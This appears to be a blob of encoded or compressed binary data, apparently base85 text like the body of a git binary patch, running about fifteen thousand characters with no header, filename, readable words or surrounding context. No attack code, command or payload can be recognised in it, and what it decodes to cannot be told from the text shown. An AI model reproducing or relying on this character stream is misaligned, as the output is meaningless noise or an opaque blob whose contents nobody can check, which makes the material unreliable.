z6}N|o-$s`3i~N^y&B#9dkeP~K1)iMH4{9$IdhQtWD)P5@lkt=?o1Q@2iT&pXYBbsuAx2 zW*Ccx!~~|fHc77O&>9vr2{~CAnL`RZCNn!R7u|!nA!x%2c<}DOC_{3s1X_vsj9ir3 zH1j&2?lnqTfp{hIWdYg+Qzg`|$=BtiWM!ej%go3~tyU`}yap4^0}?5Tx}4BsWG|cl z();8lt4=wdoRP-mV|KM#HS5%7iTx6cy1}__s94gIn3a{06(biL0AhH<$6c`sf&bvk z5;9ZdvIPEvUyvcq1t}mILD@`aWyz%_c{xyoyDk!qbW2I3E7X%o$>A%I z>atGVI~DN3ZzK8m96mzSmT%#rRp=?`h=s*w$ETziD1L_FBA?_>6CyK<4?)F3yy&_a zU%L?>7jL*pakXlQUl~bp!cB~iGkrqMA9ai$Ld%j@OjXegs<@0nuyr$5twQ3Z& z5EpM^T#|?;cSJ1lgGUk$kE7veVbxoWaQaj9ml#jgUzwPYsM16HR%yaXr3-$WX@lS4 z`YquF?+Mp$3NLh*nXD#>v<;`kmG3DO!SF(fnvnS1h4AO{MZK`_*A~hI_0ca#74s5x zYYOyev`#~T{z5FC5E@oTB$E1#n1t0)$kWLD&67y{t{X{gVoW46$CRK^w0&a$;au}3Z$3$@)tZP^aT$pa7}(* z;adw|GLpLRjaqTgQo8Vsg)UKAzbL+8FZ%RCS7pvUcYC2rMk!K7GbXQK_05ZU5vzpF ziZ@D>a788Mzj&$OE-w*TVKKbqYehXw6mabVzn9lf{)4w0VqQipKom=|1__Vs|MDpG zqykaXaznHtf0j@MYf}bs3o|TfBn3fP)D@2T{#7p1EE>SU2e9}sc1K{IK z6=&mQ-Q=_cb=l~*%WiU7Lg7vsZ?<@<7VM7UilN!#htTZd8rnR5NX?z! zWd<&w!b2Z|<{Mw=nf!_z-;5W}V+<=8 zK4xSx2C$3)g`$!nyXzT7|J_)6ijE?`AYznZ_SiGz9hq^)I$!QWTfw)cq*tp^H>@uD zNqP7Y9>O{$<}^voh-=E%*z!u25SAhyCbXfHbaX6|>ah6CAzTX*ZX7~#H#Z&CFefW^ zP-0egqNx&zD#}NN5G}e@{K$#z7naWTdA=w)F&inySD6}fkbIRh?_A_2amUcc(3MC| z%u7h=SFLWX8X+t@kq?$T7zu5=QLsk+vM z=65r56ZaMf@%$D3q5>CCri}QvYuq+6CbC_0$AW3AF1Ly- zltsd)RlDfOj_r_HrkCjEi8q+3-V~`@;F0=op04;4-3%jiWXI^3#+|zr2qi8?HEyNK zO?;NvouTDym-ekAn~4fl;6j0?bZql{_N$93hxwJlA-HF|$mmW@8%H7Iqgpp^Y6j7- zwlXiKXY(J3obnZ4&?&M*=g4+VBcHpspf7(}T1L9j^Wn2@V#X^g5f4qMR*Nt7<<}s_ z3S6xvt|kwO%SsVk+mIO|U-&+ajI=mDmMq4dl!tlM7;+Mq!^DmqzEV0RCuI=oexlKx zHk$dww9Hg7&21DvdXktE64$sei9_2W{6t?nCMPv9ozIVk)FMGv;3dyJoEOW27t=Em z^D@QtWJ63Q8$yyli_d8zF=N6gNs*F#uLp`ilqN3z%ez4SMirJXk=>#r+jVNyzTJzj zQoTq^L8TJ2ti~=Oj>!pG1wk~XCd4Kri157Qo05rkE+JbzC0hicutsZ4uP~S|;)u!4 zOht;DO{!4ISQE2djcMGeT_~Skt;x3(ap}xwc8%>T7+ zo$%WDnUj_&e%BJYi}2NI)(8nPo*`}v44xiP1~U#&O0iq%j+Y)zwm zG6skcn;4z@q5XqsON-4Oz-65=|HzY*eq|f;SlM#mG$&3>kftZZW+kwwCXr(Kj+t@b zutFDFH)~$-Ql@NeqFOiYR7b4ziQxr8mmDwh;zcMUC85w%k#ljk=+Xk7tRQHu=L?|7~bC z=1xR0GL)U2i^`6a=7X0KnNfoUB+&4tT&rMsW+e{Fh>sN$#A0g~pEwX6;#Xppekn5} zH6?xs`N!n&Eg43;Kp&~t{7TWHWW@DPjL#97ZVpKD!Kk`?mrRaP%giCioUB}YV@{ST z2{~CtG2z>oOi%njCKNd&e{y*mt6z^zA7b7o+wdVVG{+-8m46(rX6K5i$$g0_Sz_B2 zcf}ql9*6_}r0yr`ubjO$V=Rb-M@rbBm?n)owQ3sE6e1?NV`DV6o!B5qyXUVycZC`v z`BoP8EZZ&tKtRosCcBnO*p@p=TP;(!*(2j38Xg zL|Npm#h~yQvn-$~KzXDqV!cU9Jij1+^1Bk#v-vaSBgCUcst9r13<90k$j+S_w}=!; z_=3yNUs3`*8xIm9s#W8fNXu63THqnsg)i|JiveXZP;3ewlbBiNcm%UqZu)@qjKS$5 zwnmGdk~xU?g)-8F-VUlI7G32?2`^3e=W;sjEzi+itN~`eKYpl z6*JcS6^25RZfJ;VP&tq9w8PWnFT9_1`ac@`w)UouCTstq_rZn$b7^c7JORVlCT}t~ zdSo5U9%M<;mK>O0|8=c8cegU%O@d`v+Ix3*9agPc^+)md&IiSh<^ho8{B@YFhUGx4 z2f7eCN5y!Z?8>+3zbS6Jet&&&et-4l^T+Fp7$f6_Kas?uo&-d3M zEW}T@SMQJfA@N7smxvI`#?>s!9#6GA34Y}G$0fMrpNo-*s~cXG@1&^LU-jE6F&OQ~ zwbWGP>`v9XA9h=mGl?>?8Wyw=%`e8q?%5oR{-Ri_@H=}ug*){}AOr#zuJ;QiROa8& zcEF!(X5)79ZL!)?s=tw1&<}GHKeiH09JX6-%q7oRPTQLoXK+Gfou=il+!T%aM^fWS z8yTx}esOVicUNuu_#6J;eTX!>@3+OEeTf@dZ=_+HUSL;bzoSPw%oeN7 z3@4<0Kfkb^(Y4RxkN!^tt>H(mocgEnAIoP=XNUb}x%3yx!!M`4I^BAQ^t^aCPd=T0 z`BLmFKdJh){Bu4U_O9?`>{Dy^*?GBrNk6~18M+PS2o_5^Ew+Iz0?tqU>CKC3IPbo` zyT85iLteelZs_*&AAjmKrq_@pViz>|$ac3W4q%*YX9Jf-VWrAXxK8>%TLvKl(fQrX z1%BdRl(>`^bw}(v_%^(SLu!g@D3X~Th_Fby1LevSSIB;@36J=Ngb}zj#vTJ<(Aj47sAXV~?l3l_a-M^va@3ghbIk;~x=*SmH z&Yxery#Dp-u6m82JpLea=KlKc<%Zt>S^WksS^ou3{3du|dB`D$vlsNZ@GBJMZDxB9 zl!eRo_7sW4bYEV5IFv1ff{gvde~hG!iIwsSfw1&<^5XXU8-k>_hdu8rdeiAyy!Gh*AQ(~~OI|K{Mc0d{%-Q~Z%Jqa@ zIi=dnv0A8-0n1*{3ku%JOaHqX9_0PSz|v1ApD*sdU>Ba>f4#M>j8_qNUZ$5mmt*L- zHC`$|$J3;*eGU6vUc3A9?$7(HyXMv6p01h~%NKLdD6ar$ZN7*uk(e)E@8Y}fij)3$ zMW51qY}|Bs5lLUpUdLa{Pqp(bF9QWrLNA#F?!s72pov7lC=*{KX#shreUJQY+2=1$4ui6( zi?g4V+aOeDhx;knH`5U*)Y+6Uc)zC>F#L~-Sqvx2hcOR{vASWsrl@`V*UPuBOIA94 zrjNy6?c^U6Ko;jYE$j0${wW-kecx}l?|vaW9XA7B`%)6`i-+jLPGrx9y z@mopd)XLzs^DkxJH}Ax&`HdGJt}cGN`}!%puUt<+g!xa4HEXVsUM&8o{T_bZz6sp@ zxcdHrZUC}MqANw9l!!f0(+dloF!BFs@wD0f1aF$b#Rc;l*Z3Fg3jO1-wtoVxSghx) zU^QQ?7Q(wO;R4}#^iO=Y@Uyw$C;h4aKtwtJ35qpJ>pq!W5}aWeV!GO=zD)8Ve6J`Fwu$ zMOpc)+4d(oQIWJi9agwW;~`H{Gaf#kiot}O0nE~}5YOHK#(t-zl&IN?t@KB4S0okFSR;&jm3lt=!8lF9L;WXd3FXtIxMeRq97 zVT6wJHMZF08U1?u`Rf-f80(*ubpa)DyI7R#C7uYIO?(}Ywz9GPsr1Wq0ZHRMQ}3}i zxe_U#OK7n{op&G3PbXiQV1g%gAeiELMrwCpB$q6%@}_*Na+@5+)$1c_`UV+Wls|xNq=KJlIaLgMGV-&av7TTgTrX>~bGg+&}Iy^RQjD#1)Tlv9;-B(^d<*J*tQ;(#Jx8P27>zyQc!7EC9 zXymf3d8h>VtCI z*M2%4Y1i;~R;Q48XKKCZ4}|*WYvTH5Z ze)sYE=8`^#9;q}`46quH6uzwG3d%Dj`X=+&=#FVsRGu`1Q;lYD`IN<>d?3uBh9J1a z5^b_!VjtWKp4f${cct3mbX=frUOp|A_Xt``CYNF9mt8Q=^k9O}c$DVDddBq}2$gO94y4w}|wEF3$m)6|F z1K9Uq*yNtdu|vLvjk@7@;;w9bF;wi>UreSbforl$@sDxTsKgemND5VAlt`Zp_*frV zB&`fA%wfGa5>QmwxFk26qje(~F;g6)AWR$PXXBdqiX??uHV*Z46}K^h6h@VfeppN~ z;sW(?ZZvLPix8J&dC9Ozu7usomt(=YT}xRtXmu_iCz`B2f%r(J$#C+HXD$<^(Id|I zVLedW5QQSNxA;wuZopzxtsGZ+oG}%nZ50wRY0idCpdMw?age7)@BDkSo0~X?i+Q-w zh~*^u8ax#;q(r!;52F(p&mPe(Mg?e9LIIQqkS zi;F(&zY%CYRxw6X6=19H<_A}U;6<%vKUnv@{-v5~PGP%!bELvBzq{G>iC3 zS*Yo1m{PCnY+82D2f946Z&+shsr*&VVzBTy`9)%?4{JBTYCMg&g^#@d^NXbVxQEur z%I#2XE+4d#1HH8KBPL?K**z884qhAa!d9Ej_hKG8fC?9M`BCa3hG-@vz+&GC+ORg+ z`gT=7HhKVur)W1*e!iSz4`<4A&LAG9ScXq7f}|TL$Bb6!}HNQ{l72 zz7u%d(WWJ5v02Wiur`!aAVEy>Y#xM!NI~L_vS;?{WF>N>p6;RKt&zaj@O{M&0xsHY zsp9)I-F-*y%@RqB@WGga%Glv@(5?%Az)w9_`a|@m(R1AKgi_+cbQnhxAADy_G^9-L z(XxaCovLJ=Jgn^57fQ`UAX82#|G6|++$U? zg8R$NH=s%wV3KTG%Qh~N9Y-k*on!b1NkET47{?C@$;q@V*Y%h4%gbBZMK>2sjf?)c zn6xh+&;Pt9CyHeNkjM+Br(Y^FOlQLLVw(tq!MlQC6UQ-W^#od|Zk2;FnAfdk(28Xv zdOa`aTCG!D9R`M&ZUXqNECKo71RNLwXXb*Nw#6Y*H&CdMd*K_a`2OAJ&mXVOZw#Uj zkR<#%p&yDG3gkl{!zB-QInW|tQG*ghvkb(0Y8ec{58L$@|M41joy7`REdkg?O-+a( zH>prz5(38!`T4R1CKNw}N7fUQT645`-b8JB0*OuXqASMNlnc*$Gdo;Fl02QqU&QZSgW7`?wcv z#{6`%AA`hVA?B?IVipQ=f(giWj^?LduWlK8wJ5`!D5Zx~jlzva_A`g>erx%eY1kex zeLWskQkvu5BY7R!K#yN20X~tkvYZ1tg^OM7`8dohwgeVibvgiYkZsP#Lcr&6OP?-Z zX<@_CYRP4;|NH8a22wPx3Izf#4E}Y1SQj1S>bizd(ZL`Z2Qq8$g)z5)XqC^tQ83H! zKGZ>R5h#WkY}r2?{7p#XnatI*lX&K|R=9TLB;1wSLC7DR`REv zk<)I%_s4QW^RPV-uCDjHpPCTnKlu@B63;Iu=ob;x!WDXv=h3>Byz|57OCbznO)bTy zy?t1@^9$9Bxa1}2-p42rR@i(H-BTvW4GlSN0HjbpCmiR>&Up$#8SZ^$t3{>)r}%Ghu-p*E6{M_2akEqD1f#=Jb_glJ z^|BnonU)-IJ#6MbjVoeC)XiE9wkc>UZ#|F?s~_wrtAS52|&>> z+>8sD1Yl|zYyZ7iqlTfwtxG1;`WzQ?aM^SbQFou2Ja-eDF?eC&llbT}9$ZJ!$nac0 zXSxn47)8Akvg8J5C@Y~HY^gFcBFXRv1JaveMzy8YVpbAtr^YGql%L4t)35JOtMt(c zKDDP%Mp*@l*C>7LGcY^_VWD7Wm6cV^o#K9;sjD@3+s%4Gwxx3jb;qU5lzSiKH{>u$ z1ZYONWZmyL1XK`)>KT`|Wcu=I^N2mj&MnLe&E_c9UcBBwPiQIf2){1&cNExCIEw;) zZJ|nt@Gygn0g|mRzkPAAu=pBeOl%24DmAH+idYpzShjdnbxo<41X7xu1QrNb!z$iZ z5hz{Qr^~aGs`41X0|x$9-!O%d?wW^mazm()aS~0G8ID|nC|41nVa+zY!tiJX6@t&i zne@_RHm;Ac7%Wk~L`K4j2~4M?O4r#{&{Y>jkX(H$tMT>z`ePkiD^>#uS24AkT_!=0 z`YyGxbXb?@Rj|sONUDpV>*MJ*)g6#zpHiN=Mbe_ho3A8?UlFqmIH^gsh~R=bRWr%a zzNwkjOgnn0RYTTLc}IdaiTf2cPbTY?chg`WvdKQNkQL-nHgPv9LkmP~_PbfcRN?L{ zDMc9eBn0a98IFGf274fhKdVn)0+mmgwxi=>3cx2Q(h^g%18KA2 z{*SaIo7w=YJ_NWU*@jaU7Kx+}j|{71DUx8@*$C-r1iwRJAT(zwbR>)ORB}ERD5+GO zpc_h4%_Kf*!I7n{T{O?Q zi=-sC8`^OuUSGIr-H zDv7#P6DAC0G&GDJAIZHszQ^rJ08ir>HD~csOOFRw`p`-~w_E(BSD|brTrgx8UH*Jc z2e~}3m9Pndf#wk;gh1-b^EsF5x>X286vStlQ=)bEWnWU~G4(E1yq`qwR{D0^%5nA- za%xE=>fQxh$aK%y8p}xYcRbQj9rq7Ed9+5V<0OxSQqpv62m-lS1NKhplyQ4oyNz-d z-re{f!EQ?JZ(M;1UmvEOc$U)wrzHZyB`^gJiLSBJ7x z&XbEdE-rd45jSms5DyyaEJT3}foo``x?JjNLk<#i*hG;KESzaibPH?caYaStrp%j@ z!pjf!_$Z~v3q;8&MR@FSD zX6PMBti%TFK!sDEhSzU$+a8-u5C2%NNv7w~uD80J_W~FJND52zBRkzi{&@Sqk8TQ-n{WIz#Y)%GVg=ytOjwff_=pV$Q&=zs7?vracn zJ4n=8eG*acyy`LRi9MkZ_~D#vfR^EY7hDlZmpGP4o_Vdl(Ypb6w!pspAgy{!2 zywM)Qw;AU@NBN$c$j=FAC;h|>6_zg{06;LIR%VM$V~m+1;a*Ks2wDCM`J}5}rB)=< z4R(b!Ay0U*<6+ej2{d>2Dk(0dLoyTE%3<#UNb}GQi4U4g4&|KBhnL_d+*1Uy-0Ys% zWCEXu{ipW8cO~rn`bh|FYPUH|vYV0ss~2;EkwtrVH~Y3z>q^5`)L%0`UKMItn2@xK zaxVs5!rFR}M1(oT4^ep_B8!M^s$VV zn1Ib~g;aH^mXJwMuTK)^3f9z(dJd!o@=a?4B~{L#uXz+y`rLqds#ulaV4LVOa$?qW z^$*(mTGH;bFWPhXM%#}f(UaNOlfMqb?7MnYp^V6Fu)`5ouboaY=c?(gx|9*sKbB)N z0M`bGT0l;bCROaHOdhRWYb7;ytGW(aGATF9Dw)9}4Y{kD599|%8H}3lBlqF1&gV0V z8R;<%&t=v7-)hNkF>L(`0khTW;JGtdQH(QDenG2sIAFPr4_u3cHrZIY>s2pFsP6@d z9%P@tT}|#jl)XgET;Bp5mXTWc(^kBr)3)eiu$gxqe(ngDlh2gK&I_XAS$m}L49!{B z72`n5VZ=C6{-mA>z@2yyR&H@}Ol-nIVcQzdzHRA8Pe4w$pPsO6G6EQ~0$md#?jDM7qNJ23aNtXBcAbjq~$U|O> zPmu0q?fB-<%Axrf>Y!@ptI+aCip>Zz=5EO zb#!&vG)M*k6B(u;=+$zrj8UhTHO($D$ynIj4<%B0km@^*CMPv;QIKRYq95-H2Kg^u zb#WO$r{0zdc_-lMY30gMdTyHB>**clT)VXH)~@H4EfL>Jo1ae8=BXG(ZkY34IqgTF z$F0vV&1P$QAtJfp2&0jVM^pYTF_3;MZ;Y~_^Wj;dN}=Q>oKQtR> zgkTX-K#w(J4Vix_v2&%rMTOb4LK`szfx{jO@JKO<1!^cqxA!44&@FSma?Pj$z+w$uHADjhSZpD0_Z$kq}{mD7ZodmkQ7c<>KR%nMa%q1vpRN7 zjG}T6wKxWZ0n#$dfehhY3nngkkiu>`d-==RYoT$yeDUVY#EGAHjFuTbzwDI7 zgvV_;VAj8sF4LqZF}P9{nLj2Sh!jNt;XPSoRZ|wmK`^1s78!jb1(tr{J~yH1>>zxg zm3h52Hs~{^Iw?Si`s%`2uCce06qT2PLk)_ zrN#9DL5?L0i74xc(H_+94FakvQETII1OdRNU3t3q>Q(F^*0KrF&iIp_U*fjEA2Jh~ zwTNub2(HblrTWCR4U#S&gBeN7Wc)c2D-+*>UU}^_;mcV-q$NO2k#VTE2*$&^|C~IG z#jec0k@3$|)TAhtppdkV%K76Cpd%m?ymkgiT96Y)w_+AX2i7#79-%v!)Q=RQar0GM z8r)3>7eVakX(47}x{jc1;uj*97$}BHrE8NUxAy^kK$li6b`pCIr1hy5xuQa~H^Edz zl9;$K;)shDX;fxRrJg!ZC14SBwv_85gaFK3Mj)V64UU~Y2smLTSBsmHi^Nzh;B$3G z=1g7}5tB;5czEENQ9g=fH5s?iRfTRL5FfEJq4?^mq7jAl(lu@fRsBX}&`yH}*o>@@ zGW6r7Y`SkxBh3OK2b1uK$UQN1oRRSg9}?Y?Dlj`ya;Aln>_;}Uy=Vd2o&cjYU-&kj zW9bs!%opzGJxP!7(d=Np&*_HI{Jg zSYwCQ+=)vd40;>Y-~+7a7tb$^9(SCcN;`sv24AZrLL$#lRYdt^2(G|rt;Km+?fK#G z=)G8#N+ENE<@gAg1z*_cz-rvV%J5+$k=a7Qe=+(3z7VjHAyWVRdIl3FTP!mrl6!)CH}hQo%gav*(V5@@z2^dH-~ z&4>wt8|Q`TNTDc=gl!$$Zvvn~evR)iRK4-gxPhS3XW;~g_l0Ix(#T?V>hGKL_r-WG zlqW?KCi{v(+Wx}FlaFJ?2*DTLBp!c8%rt_{8)c2163P;THW~(lj^1|w&bdAkX)|^E z#BIgh^&`?Io4o=}Eexy)87JrsFcy~@hr1-WXjd`%oOx*t2cXCek3dJ8ye@&9IQ-_u1v1Z_84Fp0kHsx~ZAs$?>uC}Gm_ z!1xCW&Thr@AdxPq?-F6N7Xx_DCuFfw(+DhYiTDKeX80{(nQwaiiVjmLIy3u5{1Evx zdgH@S`Lw2l6cUZtKl<*yv3g==9m6e+w9LEbUf=BNSseOd?UFQfo%J{@{0)!SdfJ9F z-n630awFW;2Z^jw9;6$KyHNQQl0|ILRA$VON6=`{5^CwxeHqTW11}*bQo|Bti5Y5q ze|`1w^7>L3L;>xuB1Ol<`RkeNdh_}6N(us1qvA}cV(iYdj4BG+W0+w>mTrm(np>ay zS-j)ma&=Lt-Bmj6>594@{*O{kR2N z9U?1#PFgP6Y~w-{kM(RDcOy#L-kF_{VuAp@kf(~RK8TSvnRIHfGP~GYwE48LB*{gk zvK27(P?oPp->DJ<;~^84gm*;4&^Xusr>QsIk!=mxRy}^&`l-&U?<7Yttmzz9ZVP1- zLnF~!P2R?!TP5hRg2uY#`>{H@w9;=TXXQ>qA0YvZ)aJ!~3lPOP`<6u?b)lsyhBE!Q z5L98_9!JvY%cSzhJ`VZ((%Ry(@!Tw@=%;n%5n*VFkH+u=53lGe5`0InBh~&Kn@Ko@ zG^zLppdmhGQ)3TDAqwf)t4WBU0@W_~zE;!2@NPM%Yw04)vWg+wF>#Z@S-CNQy?7~NHFhc;hk{Spe5^WyRUAZ=I87xUDnN=ZvXEE1&G1D2_I zHfUj62!Q5Kt$K&+msGl1pP^AG^uPju-Ms0d=?g(o$XmkvRo(3DiBwR!QxRdzBIVI< z8k$Ol&ZjeLQ{9F6hos-^?X8tiHa@W$VN@-rf?mu0qFi`v#vnjG<9AuLIrdeAo*gMI ziO3PDtq70T>X})3!ReFLB4`~ZKvXmgYXy3lhY&v74N*j=zcOd{?pA_4Y1R1>dXC7_F>5@(@=pqs1>eplekPRwLGnW3H6UX`SgYv76%IH`50m&iZ@q^`OK80p>xhJ~ z`4TVokKi*LG;RxH_&UXp6ez@atPVpc2+=%5g>~J&AqptYhK1~lHzdMxw;4n`IYcvD zGJPr4Tn=zE78At|N~x_;L6bK388yLhsk{dMl|_pBBj%(0)==l}wWKq08QcG&VgTwOGV$D1 zZD;^TJyuum<4kx`K2XIQZ4xHxG0~%PVkeJ>vexVUqC1|d9zPHfD=mYt4g^)TlkAf- zXoaV2;taJs5L^B6+vZTrB$xhms>rZzCNoG{w<88Q=yn_qG)z1S{J*}Re7gD+yP|o2 z^jZTW1rmJyM4QaKha{kocsQY&Tva57f0|4jNvll-)Hx@|n%cv+n*EY`T2g5I#}+Rc z@vi-6&@PJ#b(0@&Ur(sbC)JF6fCU;Mr6Dj=tgJD<9igJgQ=^i?!a`+H%JKT*5x6V@ zrR(!{jv19hBnMaGK4J-vU^)+ zvFMcupo{5)C}0w^4uoG+g0$Ja(Rz< zu2y@tJq&XZSvjIo%RzD5>$2QdRbI+WgAMXgTurtStUg=I7%a%ClVBlH%ZLu6Ux{AS z)QbNgdR0<{)n13|FcznytsyIiWL^(-O}4A4CI83at$dZJGDuVrQC>>Pm_@T&tOi%R zPKKw}8witYyj>wUT%DvnE~=3P;cRxr-njh9{AX!&4zhMRPdu4S#`id8T)*Pnz+zz` z%tMHZr(}MQbg}1hd2>pkw4@2iNu3+*pd1n|IW)27L^@97oncUs&X=6-U3e}GY^w`L z)UD`6fV#JY5Cvr?D>y<<^{}0YqfsVIHLdb#{!414;Q?fbGcr@9p3?efM;hv__LJk8F?Gs()i!B|Y(`FHfD})j1-1&$!q=U~kWz11`CaB~UY>@{Y$-S5-aTW7}P;VDEsJ4H-L7qK4_K2v= zHLRjNTlG4G=KhTih2rJgSDmBKQt{gvRhm02=J3iS66SB3JzrR}qa`AAmm&Q@?rxZ6a2)cFf2$UMts0@{dFjzN!hl$vD;uvHZj7qj}fMA>A7!d#;OHHTnOoBmdLt5 zd~%#tHAgn<1t}f@ofAq9cf6<4W3eI@T2hyBOx84l7{5(v+gWarA`8MjO9(B={;(b? zXw?+sVKK>MEF6O|OlGZF7h$JJ_>D#oTh$1QhI*#JaCg!%))DBFGMvC{y8A+sDvXNT3l^MUGDv`i-E}~+d#Vu#5)55;c!;{e%h*2~# zN;;Wolt0akc<%>8XO4hslrSxJ4v>}5X2H`w^i;5oFvSj|oluB6!B91*Sfo;Vlp}Et z-|JHe7IR6EEaWBQD`F3gMiI9NPZwF_4s92N`}zmV5^8+Ljbk!$8krGhPP+`Gwz5|7 zZQUq*N-0Pda5FiSRDr2E4K(nYnanMRx#l-GL&B8PS1Yf4>evCYw(NB12`!IGu8SY< z$YeqfG12$57gaY#D`H+Q_Tn9o7L4u0{J=ccgINZ{x-l-6cR>ODCO6F}t+vu$S!TNn6|H!FdBcK6wD8+O)(*py5pKVxJ@rOB`FoGmI8PYEb=QiNWYaULZ+-4$rI6Hjs3(jDMdnsB9iSnBBw>8!>O%InKxQb#txZg z-EGPfW215JPSE{wcUNocmfd4=UCKSNHBa+F>^hq6u0C#?dpV}#?2Kk2#81>zqgVvW zg2=|*nOpZg^baV32m#5|xLHdQ#8UM1dZKVmk5bP0Hdwjekjqv<8Q2?5+NNee?26RKp-t<8u#ds{#Laq-WH)T%j)p z9gUZwA6L%h0mI3H3P*~J zy37+}BNju*Y3@x>!^$+;ir(tj+t+K?@KM&*QGlse(G~|-=LTbA60#0|XBH4iHd~C` zn}cJcU^}phaJfAKsao%qen2MaPm5i}SAnT;l1~y~NrAo?hdu>vInqsAhuOzB1w& zNE%Tu2ERo-PsPwa$6rJgDNdM}>QvL17vy9?yoG1B@wlOSfrHHx>)RqwEjhZR#uU`G zYKUBVs_|*5k17nC<*}*dAu-GkRGI|NL=j(G>qw4xGHl(1rANf`QK?ce^Jz*6##HEG zPbXxvt4Op&YN(Uj*q@-8(*uo2*_MZY7UsGHs-yy+vC5B&4XDaVu(*wqUaoym&%+O1 z{bF;qrA$!~S(44t8lGsR97QY@?~*>0L?0M-k?*#aH_1z!yTSI%+uSbJ)=9Ij`%yHpLTn8uZR;zJxM#+sT$jYTeCVOLokp@Rdz$|u!cEihDQSJ160YQ{<`{ZYqvGgn8eb@V(j!$4 z_nSjdH!!Mulp$p3x|V`)8NxIom@3fTHKlQM3u|y@3P$N!m;wK^jf4iINyA(OEg&ka zEHdk!;&oE#4wZM{)cm*ZL% zjF^P6PtInzH-WScm#6;YUPn4T82+>Kn?FOFU#Q=dL-QK`O-U$KOKRZXFv9FzwxWI- z1j3y#Fe5M{CmTv^*D3+qNjn_F**?o_1nf~l0|xszmlRC{rU%!tgqCWXyr#qd@EOdh zDr$4Kr2HUf&-DC`?#6uG8N!|t?N*L!q#sctvJ#u|++PA_u`{D~dk{}1Ms-jO%W5{xX~X$U zMFdyKOo7l)329n@p(i{N1laP37axC)_&Q>d|J9MSY#Ez}C-jxz@$FVnt+R?zXUg&2 zd6Et4XgurE2<@YlPVV8ovcmH)RK~kf+`#NN@?2NL|1Rd3YimFS@roF%<|cKU+hY#K z_|KsnTn8`|FgA@`OtEim#p}~ouX?0y1*LQTn!9-fO*Osc#M$@<%bD9T<&M2b+8aWY zw~yh}oG@rz?i7})KRSrhWlX-)LsNC}N{-W}>h*-1l*rbUw(|>rGr(%Lt-Va^bWMIX@lr_qseeqv2|n zEnFzPws+aN6!o;OsmE!}S_~wbx!C!4$waZxtP^AdhQP$H#zP|XP`i^Ci3#mCh&3@e zqW(oyIJpg~Sy36zDns9QCDtx}YbVfY32~OpgW*qVr&~-6xa^bVywH}NXzHZkA#%f! zh?y1VwWZ3KBxul%Lse?1UU2%#bkKZ^fZlq_j(TnlwhKPDdHhG^**+v74&LsKF+2w9_PjSbI}j*cG?&HS6^b5Azm)Bw4H( zfYnQ7G$cY=RI!k%S$Rl|*~EPvg=qi-cI|#gLAG0H6HPB~bLkhIK$H*m^HPI}h_tz~ zM;v^W*ficd*q%frJ0bt!ltii(733=gcE`pl<|x2vh{Tn%PuaWXP<)E%{?A#wC$IZ;DJ|@@Xhkg`NF!5B)nln`5JaYUKucYxg`Qp_5AiruBN*n!vEqJDySir_8t0>Q9IbwZA`@XMFpsK zh6dM}^0*O~;5gFpt4k-<_FA?(%#+vY3sK86oc!nMsyv7_>|D8rGcpVvOxJZ5y$iaB zmV-*2yZodG0X_^0fSu03H+{?MnuTzv9xhRkVMoEk{Pc*(e}?g0+{vPW;c?+SB!>1) zng-;l5w<5YTpEWd-k23)wh(Hd$`;B)Fk>KC_ds=;C_B))oYss0b_fZsAg}$))oC@b z)`kD%iPfE3<76XkhT2=Sp369L`#@)ZhH^^P0@{dT^EI~mR${4ichGM>nEi z7E(*2I0&Hyg<4HL$KI4}Oy~cTQ%`!LmF7jIkz%)QNEN$0ik&fsJgax)kh5xg5&nAJ zco5ZHtzwdzb6jy-3%Ha4F6OQ#J${ExL#kx)g8A^IT}7SiZe@N61>%Vu?EjEC5 z-E9v0AP`i~IGoHLRP?<#kca8p)RgU;SOj3?1T~fDesh^*klL^kW||P+mik`OcfU%( zY~z6|mP12R3}QrRsjG-6Si{9^K2D`Z!#BaQv&rE3nMX61 zq1IT8rfqfB_BF=a=+qRhv52M)WIywjdL^qY%CVjZ3~3RPE7)b)-thq7I?Gq2>L7$A zhq=WHaIBsoMV)m>h^{( z0M~Mc&hjhPK10xCxmc$~MN#ii7B=YGQ#5B?M((4x zvG6HXZ$?{OZU{H56l+TAe*`Hpw`?zBl4MoAT;xPEKy@^yKP(00%B-rqRU0vTu8g{8 zD(VmwOsFTpCrW8QYBe(BGy>mZQEoYBi+%8c3(Dre)RC+WRF!E;I`;R82fWH8#Pj%Y zb$&?`e|;-3lK{^l_Y^~IK7>jf0by*fURYi7BL6hqErMDQN2DHfQiwtu36lt@Fz~oY z{pRQ$;#zsrF&~sBM&8lRlD4@$;SZRy#RhW|l~x4JS4M`-gF z2fiuM6sonu$fMVfZ+iSmYKe6|fM@aE!fcpRDu|FnqJ#Rh*ge|logY5Bjy^C+G~&3D z8=cPWw907Jq>`(!ydLOk>%M-4#h|!IW<%%}G(|(UqU03Lt6rIKVpUfS*?h1#Y*4eH z-6>c^#~S#DDruCu)5B6Ow@x;lRd=H!3**#S`mS<*u*5*RkeZ$6Fz@ zU47Gnyi*5gxiTgyY)==x3J6JD2M#!YMDGy>F$iz6suNPEC!+5Oiqrh->hijz`S*W9 zHztayhBCd6@)VX#UE{H;fAqV;#mPXZjM7bvZwDXHq@J`j&{C;Xf1u2%7Qok&#)*=Y zLCgD6XJJjTOD(-J6ih}i(#IOvN3BE0EqeAg3k#+$BTmiwPt>Or$Fk5MdMh%$IrQ*~ zHi}&EF~mbA)jDX)Y_X#qTyzw4`0`==#t-ErjH34nv9=9cZ7vt3XfuVXr~&^UieP8j*Lf{85Uk#|?r1{_5Syrw2&6b3KYA!G zB+j1r1L{BlaIuo{!}_e4$!Z8p2hz;3lMh*G!D0^IlsK9jIa=R7>I7n-Z(!Wq(cSjX<;@?5#OLI!yZ<8(zI z5YWXz$0~sE)7Q8QV-0yp9tH|N&o6$n;HerTN;QXD?{v1QF~!G*0OR>-4C4bB$E}1B z`{kif#mrqT*<2Qkvpz%hH;b^k=T^Sk_tVfWIt!Cb!tT*{7148 z37YJ?i;ePmV_KkfM9O~`*DCi{aA8CwMxLg-@5jetJ()}n^Wk|uyfhU#&ZPI7 z)#h*NLaWil&KOjxYWb7ZtILFtJW>`rPs^lf-9n9e*e3~*Cv(aO1S-AbHYJd1nG-wk zuw$K`ScFL^1a^qyt}rmwhfV^$PNIRraj>u^i?p>Yh0x#Td?)O7m*p4Ax)B@lEJr{b zR&ayNIV?k+gJ3&Ua08y+toouVxw1N0oWs*{v&dRo6R+no4X{n6{mFXSrN?x{V7sKe zs`{iC_~`UVpIdK{Vwm^hp3KE-s!D}UK6K47_M*xA?O&t>_+5R{7zKT%BPoJ#R^_TO@%Udd(5%;k&$|_C*&&13#mb0P% 